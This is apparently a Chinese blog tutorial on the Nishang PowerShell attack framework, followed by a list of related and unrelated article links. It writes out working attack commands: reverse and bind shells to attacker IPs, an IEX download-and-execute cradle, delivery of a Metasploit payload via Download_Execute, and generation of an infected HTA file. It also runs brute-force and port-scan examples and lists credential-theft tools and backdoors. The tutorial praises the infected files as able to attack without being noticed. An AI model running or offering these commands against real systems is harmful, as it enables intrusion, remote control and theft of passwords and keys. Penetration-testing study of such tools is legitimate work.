nishang的介绍与使用
0x01前言
Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang的各种姿势获取一个shell。
项目地址 :https://github.com/samratashok/nishang
0x02 Powershell交互式Shell
一、基于TCP协议的Powershell交互式Shell
Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。
参数介绍:
-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。-Reverse [<SwitchParameter>] 反向连接-Bind [<SwitchParameter>] 正向连接
使用实例:
1. 正向连接
第一步:在目标机运行脚本,监听端口86

第二步:使用nc连接到目标机端口86

2. 反向连接
第一步:使用nc监听本地端口86(注意必须先监听,不然在目标机上执行脚本会出错)

第二步:在目标机上反弹shell
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.190.141 -Port 86

第三步:观察攻击机,可以发现成功反弹shell

二、基于UDP协议的PowerShell交互式Shell
Invoke-PowerShellUdp Powershell交互式正向连接或反向连接shell,基于UDP协议。
使用实例:
1. 正向连接
正向连接,和上面用法相同,不过是基于UDP协议,所以nc命令就要改动一下了。


2. 反向连接
反向连接,和上面用法相同,不过在使用nc监听的时候使用UDP协议。


三、基于HTTP和HTTPS协议的PowerShell交互式Shell
Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。
用法实例:(由于两种脚本用法相同,这里以基于HTTP协议的脚本为例子)
第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
Invoke-PoshRatHttp -IPAddress 192.168.190.138 -Port 3389

第二步:在目标机上运行下列命令,反弹Shell
IEX ((New-Object Net.WebClient).DownloadString('http://192.168.190.138:3389/connect'))


0x03 nishang常用脚本
扫描进行时
Nishang基本上包含了渗透测试各个阶段的脚本,在扫描阶段,它也有两个很实用的脚本暴力破解和端口扫描。
一、暴力破解-Invoke-BruteForce
Invoke-BruteForce是Nishang中一个专注于暴力破解的脚本,它可以破解SQL Server、ActiveDirecotry、FTP、Web等服务。
使用实例:
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusername.txt -PasswordList C:testpassword.txt -Service SQL -Verbose
二、端口扫描-Invoke-PortScan
Invoke-PortScan是Nishang中一个端口扫描脚本,它可以发现主机、解析主机名、端口扫描,是实战中一个很实用的脚本。
参数介绍:
-StartAddress <String>起始IP-EndAddress <String>终止IP-ResolveHost 加上这个参数,解析主机名。-ScanPort 加上这个参数,扫描端口-Ports 指定扫描的端口
实用实例:
发现存活主机,解析主机名、扫描80端口是否开放。
Invoke -StartAddress 192.168.110.1 -EndAddress 192.168.110.130 -ResolveHost -ScanPort -Ports 80
常用Execution
一、Download_Execute
Download_Execute是Nishang中一个下载执行脚本,它在实战中最常用的功能就是下载一个文本文件,然后将其转换为可执行文件执行。
使用实例:
第一步:首先我们需要使用Nishang中的exetotext.ps1脚本将可执行文件更改为文本文件。
PS C:Usersroot> ExetoText c:\powershellmsf.exe c:\powershellmsf.txt Converted file written to c:\powershellmsf.txt
第二步:使用Download_Execute下载执行文本文件
PS C:Usersroot> Download_Execute http://192.168.110.128/msf.txt
第三步:观察Metasploit。可以发现成功获得Shell

客户端
Nishang中还有生成各种危害文件的脚本,它们可以生成各种感染的文件,如HTA、Word,来执行powershell脚本。可以神不知鬼不觉的发动攻击,由于各个脚本用法相同,这里以生成受感染的HTA为例子。
Out-HTA
功能:创建受感染的HTA文件,可以执行PowerShell命令和脚本。
用法实例:
第一步:我们先来创建受感染的HTA文件。在下图中我们可以发现成功生成了一个受感染的HTA文件hacker.hta
PS C:\nishang-master> Out-HTA -PayloadScript C:\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1 -HTAFilePath C:\HACKER.HTA

第二步:先使用nc来监听端口,然后运行受感染的HTA文件,可以发现成功反弹Shell
Ps:前提你在生成hta木马的时候 payload设置的反弹地址和端口要和你攻击机一致哈。。。
其他
Nishang中还有很多经典实用的渗透脚本,不可能一一为大家讲解,这里挑选几种常用的为大家来介绍一下。
信息收集
1. Check-VM 这是Nishang中检测目标机是否为虚拟机的脚本。 2. Copy-VSS 使用卷影拷贝服务来复制SAM文件。 3. Get-Information 从目标机上获取有价值信息的脚本 4. Get-PassHashes 从目标机上获取Hash密码的脚本。 5. Get-WLAN-Keys 从目标机上获取纯文本的WLAN密钥。 6. Keylogger 键盘记录脚本,大家应该都熟悉。 7. Invoke-Mimikatz 在内存中加载Mimikatz,Mimikatz大家都熟悉吧,不作介绍了。
后门
1. HTTP-Backdoor 可以接收来自第三方网站的指令,并在内存中执行PowerShell脚本。 2. DNS_TXT_Pwnage 可以在DNS TXT查询中接收指令和PowerShell脚本,并在目标机上执行。 3. Execute-OnTime 可以在目标机上指定时间执行PowerShell脚本。 4. Gupt-Backdoor 可以从WLAN SSID中接收命令和脚本,而不用去连接它。
总结
Nishang的脚本还有很多没有介绍到,它覆盖了后门、信息收集、反弹shell、下载执行等多种脚本,需要大家慢慢学习在实战中运用学习吧
nishang的介绍与使用的更多相关文章
- Powershell 渗透测试工具-Nishang
Powershell 渗透测试工具-Nishang 分享到: 作者:V1ct0r 稿费:500RMB(不服你也来投稿啊!) 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 传送门 ...
- PowerShell攻防进阶篇:nishang工具用法详解
PowerShell攻防进阶篇:nishang工具用法详解 导语:nishang,PowerShell下并肩Empire,Powersploit的神器. 开始之前,先放出个下载地址! 下载地址:htt ...
- PowerShell攻击:nishang
nishanhg 下载地址:https://github.com/samratashok/nishing 1.简介 nishang的使用是要在PowerShell 3.0以上的环境中才可以正常使用 ...
- Final——Nishang
一.介绍 Nishang是基于PowerShell的渗透测试专用工具,它集成了框架.脚本和各种payload,被广泛应用于渗透测试的各个阶段. 二.使用 下载脚本工具:Nishang Nishang需 ...
- CSS3 background-image背景图片相关介绍
这里将会介绍如何通过background-image设置背景图片,以及背景图片的平铺.拉伸.偏移.设置大小等操作. 1. 背景图片样式分类 CSS中设置元素背景图片及其背景图片样式的属性主要以下几个: ...
- MySQL高级知识- MySQL的架构介绍
[TOC] 1.MySQL 简介 概述 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司. MySQL是一种关联数据库管理系统,将数据保存在不同的表中,而 ...
- Windows Server 2012 NIC Teaming介绍及注意事项
Windows Server 2012 NIC Teaming介绍及注意事项 转载自:http://www.it165.net/os/html/201303/4799.html Windows Ser ...
- Linux下服务器端开发流程及相关工具介绍(C++)
去年刚毕业来公司后,做为新人,发现很多东西都没有文档,各种工具和地址都是口口相传的,而且很多时候都是不知道有哪些工具可以使用,所以当时就想把自己接触到的这些东西记录下来,为后来者提供参考,相当于一个路 ...
- JavaScript var关键字、变量的状态、异常处理、命名规范等介绍
本篇主要介绍var关键字.变量的undefined和null状态.异常处理.命名规范. 目录 1. var 关键字:介绍var关键字的使用. 2. 变量的状态:介绍变量的未定义.已定义未赋值.已定义已 ...
随机推荐
- Spring Boot初识
今天准备开一个新系列springboot,springboot结束后会更新springcloud,想要学会springcloud先学springboot吧.以后springboot和hadoop轮流更 ...
- Linux 笔记 - 第十四章 LAMP 之(二) 环境配置
博客地址:http://www.moonxy.com 一.前言 LAMP 环境搭建好之后,其实仅仅是安装上了软件,我们还需要掌握 httpd 和 PHP 的配置. 二.httpd 配置 2.1 创建虚 ...
- 树莓派4B安装docker-compose(64位Linux)
准备工作 树莓派4B已装好64位Linux,并且装好了19.03.1版本的Docker,具体的安装步骤请参考<树莓派4B安装64位Linux(不用显示器键盘鼠标)> 安装docker-co ...
- java架构之路-(spring源码篇)由浅入深-spring实战详细使用
今天我更新了一篇jvm垃圾回收的算法和垃圾回收器的内部逻辑,但是看的人不多啊......貌似大家还是比较喜欢看源码吧,毕竟实战要比理论用的多. 这篇文章不会详细的深入底层源码,只是基于注解和配置来说说 ...
- 【linux】【Go】Centos7安装go1.13环境
前言 Go(又称Golang)是Google开发的一种静态强类型.编译型.并发型,并具有垃圾回收功能的编程语言. 罗伯特·格瑞史莫(Robert Griesemer),罗勃·派克(Rob Pi ...
- 前台提交数据到node服务器(post方式)
post方式同样有两种办法,一种是表单提交,一种是ajax提交. 在此之前需要安装一个中间件:body-parser,安装好后在app.js头部引入: bodyParser = require('bo ...
- jenkins自动化部署项目8 -- 新建job(服务代码部署在linux上)
jenkins(windows) ----> 应用服务器(linux): 1.后台java服务: 与部署在windows上不同的是,这里我选择了在[构建后操作]中使用ssh向远程linux服务器 ...
- 注解在Java中是如何工作的
来一点咖啡,准备好进入注解的世界. 注解一直是 Java 的一个非常重要的部分,它从 J2SE 5.0 开始就已经存在了.在我们的应用程序代码中,经常看到 @Override 和 @Deprecate ...
- Spring MVC-从零开始-@RequestMapping结合@RequestParam (从HTTP键值对中取值,作用于函数参数)
1.@RequestParam 注解使用的时候可以有一个值,也可以没有值:如果请求参数和处理方法参数的名称一样的话,@RequestParam 注解的 value 这个参数就可省掉了:@Request ...
- Mybatis的xml文件对大于号小于号的特殊处理!
当我们需要通过xml格式处理sql语句时,经常会用到< ,<=,>,>=等符号,但是很容易引起xml格式的错误,这样会导致后台将xml字符串转换为xml文档时报错,从而导致程序 ...